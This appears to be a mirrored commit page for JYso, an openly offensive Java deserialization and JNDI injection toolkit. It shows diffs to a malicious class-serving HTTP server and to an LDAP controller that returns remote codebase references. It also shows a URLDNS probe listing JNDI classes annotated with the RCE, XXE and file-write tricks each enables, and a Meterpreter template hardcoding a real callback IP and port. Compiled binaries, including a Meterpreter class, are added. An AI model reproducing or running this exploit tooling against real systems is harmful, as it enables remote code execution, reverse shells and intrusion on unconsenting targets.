archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-21 22:40:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix(HTTPServer.java): Bug fixes

Browse Source
This commit is contained in:
Your Name
2024-10-21 15:29:04 +08:00
parent 24e2845689
commit 192a0ac085
13 changed files with 185 additions and 61 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+1
View File
@@ -82,4 +82,5 @@ JYso 是 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink) 中
- https://tttang.com/archive/1405/#toc_groovyclassloader
- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F
- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html
- https://github.com/mbechler/marshalsec
build.gradle
+1 -1
View File
@@ -21,7 +21,7 @@ shadowJar {
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
}
zip64=true
minimize()
//minimize()
}
dependencies {
data/Meterpreter.class
BIN
View File
Binary file not shown.
org/apache/catalina/shared/util/SelectItemsIterator.class
BIN
View File
Binary file not shown.
org/apache/logging/xerces/xs/XSObject.class
BIN
View File
Binary file not shown.
src/main/java/com/qi4l/JYso/HTTPServer.java
+9 -6
View File
@@ -20,6 +20,7 @@ import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.JarOutputStream;
@@ -41,6 +42,8 @@ public class HTTPServer {
System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
String qi = String.valueOf(httpExchange.getRequestURI());
if (qi.contains("setPathAlias")) {
Config.BCEL1 = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1));
@@ -48,6 +51,7 @@ public class HTTPServer {
Config.ROUTE = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE));
}
String path = httpExchange.getRequestURI().getPath();
if (path.endsWith(".class")) {
handleClassRequest(httpExchange);
@@ -435,16 +439,13 @@ public class HTTPServer {
String path = exchange.getRequestURI().getPath();
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
if (Cache.contains(className)) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
byte[] bytes = Cache.get(className);
exchange.sendResponseHeaders(200, bytes.length);
//这一步返回http请求
exchange.getResponseBody().write(bytes);
} else {//找不到就从/org目录下照
//String pa = cwd + File.separator + "org";
} else {
String pa = cwd + path;
File file = new File(pa);
@@ -454,9 +455,11 @@ public class HTTPServer {
fileInputStream.read(bytes);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.sendResponseHeaders(200, file.length());
exchange.getResponseBody().write(bytes);
System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200));
System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200));
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
src/main/java/com/qi4l/JYso/Starter.java
+6 -1
View File
@@ -8,6 +8,7 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
public class Starter {
// 用于存储所有的ObjectPayload类
public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
static {
for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
@@ -21,8 +22,10 @@ public class Starter {
String logo = "" +
" ┏┳┓┏ \n" +
" ┃┗┫┏┏┓ \n" +
" ┗┛┗┛┛┗┛ version: 1.33";
" ┗┛┗┛┛┗┛ ";
System.out.println(logo);
// 如果参数中包含-j，则启动LDAP、HTTP、RMI服务
if (args.length > 0 && args[0].equals("-j")) {
Config.applyCmdArgs(args);
if (Config.TLSProxy) {
@@ -32,6 +35,8 @@ public class Starter {
HTTPServer.start();
RMIServer.start();
}
// 如果参数中包含-y，则启动ysoserial
if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true;
ysoserial(args);
src/main/java/com/qi4l/JYso/controllers/BasicController.java
+2 -5
View File
@@ -20,9 +20,6 @@ import java.util.Base64;
import static org.fusesource.jansi.Ansi.ansi;
/**
* 本地工厂类加载
*/
@LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController {
private static String payloadType;
@@ -61,12 +58,12 @@ public class BasicController implements LdapController {
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(this.codebase), className1 + ".class");
System.out.println(ansi().render("@|green [+] Send LDAP reference result for |@" + base + " @|green redirecting to |@" + turl));
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", this.codebase);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
src/main/java/com/qi4l/JYso/gadgets/URLDNS.java
+128 -19
View File
@@ -37,8 +37,85 @@ import java.util.List;
@Authors({Authors.GEBL})
public class URLDNS implements ObjectPayload<Object> {
public static String[] defaultClass = new String[]{
"CommonsCollections13567", "CommonsCollections24", "CommonsBeanutils2", "C3P0", "AspectJWeaver", "bsh",
"Groovy", "Becl", "Jdk7u21", "JRE8u20", "winlinux", "jackson2100", "ROME", "SpringAOP"};
"CommonsCollections13567",
"CommonsCollections24",
"CommonsBeanutils2",
"C3P0",
"AspectJWeaver",
"bsh",
"Groovy",
"Becl",
"DefiningClassLoader",
"Jdk7u21",
"JRE8u20",
"ROME",
"Fastjson",
"Jackson",
"SpringAOP",
"winlinux",
"jdk17_22",
"jdk9_22",
"jdk6_8",
"jdk6_11",
"jdk9_10",
};
public static String[] jndidefaultclass = {
//"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",//知名getter=classloader,jdk默认就有
"org.apache.naming.factory.BeanFactory",//最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法
"org.apache.catalina.filters.CsrfPreventionFilter$NonceCache",//tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString
"javax.el.ELProcessor",//和BeanFactory最经典的配合
//"groovy.lang.GroovyShell",//有Groovy所以可以省略了
//"groovy.lang.GroovyClassLoader",//有Groovy所以可以省略了
"org.yaml.snakeyaml.Yaml",//知名YAML序列化,可以跟BeanFactory配合
"com.thoughtworks.xstream.XStream",//知名XML序列化,可以跟BeanFactory配合
//"org.xmlpull.v1.XmlPullParserException",//XStream依赖
//"org.xmlpull.mxp1.MXParser",//XStream依赖
"org.mvel2.sh.ShellSession",//mvel语法,可以跟BeanFactory配合
//"com.sun.glass.utils.NativeLibLoader",//加载dll或者so,jdk默认就有
"org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory",//高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性
"org.apache.commons.configuration.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量
"org.apache.commons.configuration2.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量
"org.apache.groovy.util.SystemUtil",//groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量
"org.apache.batik.swing.JSVGCanvas",//远程加载svg造成XSS,XXE,RCE
"org.apache.catalina.users.MemoryUserDatabaseFactory",//配合UserDatabase可以XXE,写文件
"org.apache.catalina.UserDatabase",//配合MemoryUserDatabaseFactory可以XXE,写文件
"org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory",//以下均为DataSourceFactory,可以造成jdbc
"org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory",
"org.apache.commons.dbcp.BasicDataSourceFactory",
//"org.apache.commons.pool.KeyedObjectPoolFactory",//commons-dbcp1依赖
"org.apache.commons.dbcp2.BasicDataSourceFactory",
//"org.apache.commons.pool2.PooledObjectFactory",//commons-dbcp2依赖
"org.apache.tomcat.jdbc.pool.DataSourceFactory",
//"org.apache.juli.logging.LogFactory",//tomcat-jdbc依赖
"com.alibaba.druid.pool.DruidDataSourceFactory",
"com.zaxxer.hikari.HikariJNDIFactory",
//"org.slf4j.LoggerFactory",//HikariCP依赖
"org.h2.Driver",//h2 jdbc,可以RCE
"org.postgresql.Driver",//postgresql,可以远程加载XML执行SPEL,可以写文件
"org.springframework.context.support.ClassPathXmlApplicationContext",//postgresql RCE依赖spring环境
"com.mysql.jdbc.Driver",//mysql,可以二次反序列化,可以读文件,可以XXE
"com.mysql.cj.jdbc.Driver",
"com.mysql.fabric.jdbc.FabricMySQLDriver",
"oracle.jdbc.driver.OracleDriver",//oracle,可以带出机器用户名
"com.ibm.db2.jcc.DB2Driver",//db2,可以写文件
"COM.ibm.db2.jcc.DB2Driver",
"com.ibm.ws.webservices.engine.client.ServiceFactory",//WebSphere的ObjectFactory,可以远程加载jar,很少用到
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory",
"oracle.ucp.jdbc.PoolDataSourceImpl",//反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖
//"com.mchange.v2.c3p0.DriverManagerDataSource",//有C3P0所以可以省略了
//"com.mchange.v2.c3p0.test.FreezableDriverManagerDataSource",//有C3P0所以可以省略了
//"com.alibaba.druid.pool.xa.DruidXADataSource",//有com.alibaba.druid.pool.DruidDataSourceFactory所以可以省略了
"org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl",//hibernate-core-4.x,比较低版本才有的类
};
public static List<Object> list = new LinkedList();
@@ -135,22 +212,6 @@ public class URLDNS implements ObjectPayload<Object> {
Object JRE8u20 = getURLDNSGadget("JRE8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1");
list.add(JRE8u20);
break;
case "winlinux":
//windows/linux版本判断
Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
list.add(linux);
list.add(windows);
break;
case "jackson2100":
//jackson-databind>=2.10.0存在一个链
Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization");
list.add(jackson2100);
break;
case "fastjson":
Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray");
list.add(fastjson);
break;
case "ROME":
//rome <= 1.11.1
Object rome1000 = getURLDNSGadget("rome1000." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean");
@@ -158,16 +219,59 @@ public class URLDNS implements ObjectPayload<Object> {
list.add(rome1000);
list.add(rome1111);
break;
case "Fastjson":
Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray");
list.add(fastjson);
break;
case "Jackson":
//jackson-databind>=2.10.0存在一个链
//此链实战中有50%概率触发getStylesheetDOM导致不成功,因此需要org.springframework.aop.framework.JdkDynamicAopProxy封装,这个类的jar包和springAOP一样
Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization");
list.add(jackson2100);
break;
case "SpringAOP":
//fastjon/jackson两个链的变种都需要springAOP
//fastjon/jackson两个链触发toString的变种,都需要springAOP
Object springAOP = getURLDNSGadget("SpringAOP." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource");
list.add(springAOP);
break;
case "winlinux":
//windows/linux版本判断
Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData");
Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer");
list.add(linux);
list.add(windows);
break;
case "jdk17_22":
Object jdk17_22 = getURLDNSGadget("jdk17_22." + dnsLog, "jdk.internal.util.random.RandomSupport");
list.add(jdk17_22);
break;
case "jdk9_22":
Object jdk9_22 = getURLDNSGadget("jdk9_22." + dnsLog, "jdk.internal.misc.Unsafe");
list.add(jdk9_22);
break;
case "jdk6_8":
Object jdk6_8 = getURLDNSGadget("jdk6_8." + dnsLog, "sun.misc.BASE64Decoder");
list.add(jdk6_8);
break;
case "jdk6_11":
Object jdk6_11 = getURLDNSGadget("jdk6_11." + dnsLog, "com.sun.awt.SecurityWarning");
list.add(jdk6_11);
break;
case "jdk9_10":
Object jdk9_10 = getURLDNSGadget("jdk9_10." + dnsLog, "jdk.incubator.http.HttpClient");
list.add(jdk9_10);
break;
case "all":
for (int i = 0; i < defaultClass.length; i++) {
setList(defaultClass[i], dnsLog);
}
break;
case "jndiall":
for (int i = 0; i < jndidefaultclass.length; i++) {
setList(jndidefaultclass[i], dnsLog);
}
break;
default:
Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName);
list.add(hm);
@@ -200,6 +304,11 @@ public class URLDNS implements ObjectPayload<Object> {
setList("all", url);
break;
// jndi 时会测试JNDI相关的类
case "jndiall":
setList("jndiall", url);
break;
case "null":
return getURLDNSGadget(url, null);
// 默认指定类
src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java
+24 -21
View File
@@ -17,8 +17,7 @@ import java.util.Hashtable;
import java.util.Map;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile;
import static com.qi4l.JYso.gadgets.utils.Utils.writeClassToFile;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField;
import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD;
import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
@@ -28,9 +27,9 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA
public class Gadgets extends ClassLoader {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static Class TPL_CLASS = TemplatesImpl.class;
public static Class ABST_TRANSLET = AbstractTranslet.class;
public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
public static Class TPL_CLASS = TemplatesImpl.class;
public static Class ABST_TRANSLET = AbstractTranslet.class;
public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
@@ -205,7 +204,7 @@ public class Gadgets extends ClassLoader {
}
}
byte[] bytes = ctClass.toBytecode();
byte[] bytes = ctClass.toBytecode();
String classCode = Base64.getEncoder().encodeToString(bytes);
//System.out.println("Base64 Encoded CtClass: " + classCode);
ctClass.detach();
@@ -274,7 +273,9 @@ public class Gadgets extends ClassLoader {
}
String className = ctClass.getName();
writeClassToFile(className, ctClass.toBytecode());
ctClass.writeFile();
//writeClassToFile(className, ctClass.toBytecode());
return className;
}
@@ -301,31 +302,33 @@ public class Gadgets extends ClassLoader {
public Class<?> defineClass(String name, byte[] bytecode) {
return defineClass(name, bytecode, 0, bytecode.length);
}
public static Hashtable makeTableTstring(Object o) throws Exception{
public static Hashtable makeTableTstring(Object o) throws Exception {
Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o,"Unam4");
tHashMap2.put(o,"SpringKill");
Reflections.setFieldValue(tHashMap1,"loadFactor",1);
Reflections.setFieldValue(tHashMap2,"loadFactor",1);
tHashMap1.put(o, "Unam4");
tHashMap2.put(o, "SpringKill");
Reflections.setFieldValue(tHashMap1, "loadFactor", 1);
Reflections.setFieldValue(tHashMap2, "loadFactor", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,"Unam4");
hashtable.put(tHashMap2,"SpringKill");
hashtable.put(tHashMap1, "Unam4");
hashtable.put(tHashMap2, "SpringKill");
tHashMap1.put(o, null);
tHashMap2.put(o, null);
return hashtable;
}
public static HashMap maskmapToString(Object o1, Object o2) throws Exception{
public static HashMap maskmapToString(Object o1, Object o2) throws Exception {
Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o1,null);
tHashMap2.put(o2,null);
Reflections.setFieldValue(tHashMap1,"loadFactor",1);
Reflections.setFieldValue(tHashMap2,"loadFactor",1);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
tHashMap1.put(o1, null);
tHashMap2.put(o2, null);
Reflections.setFieldValue(tHashMap1, "loadFactor", 1);
Reflections.setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null);
src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java
+1
View File
@@ -89,6 +89,7 @@ public class Serializer implements Callable<byte[]> {
XStream xstream = new XStream();
String xml = xstream.toXML(obj);
System.out.println(xml);
return;
} else if (IS_Kryo) {
Kryo kryo = new Kryo();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java
+4 -5
View File
@@ -14,11 +14,10 @@ public class Meterpreter
implements Runnable {
public static String host = "111.229.10.212";
public static String port = "23412";
//public String host;
//public String port;
static /* synthetic */ Class class$0;
static /* synthetic */ Class class$1;
static /* synthetic */ Class class$2;
static Class class$0;
static Class class$1;
static Class class$2;
static {
src/test/java/Main.java
+9 -3
View File
@@ -1,7 +1,13 @@
import com.qi4l.JYso.LdapServer;
public class Main {
public static void main(String[] args) {
System.out.println(LdapServer.class.getPackage().getName() + ".template.echo." + "WindowsEcho");
String input = "org/apache/myfaces/core/service/IoServiceListenerSupport";
int lastIndex = input.lastIndexOf('/');
if (lastIndex != -1) {
String result = input.substring(lastIndex + 1);
System.out.println(result);
} else {
// 如果没有'/'字符，则直接打印原字符串
System.out.println(input);
}
}
}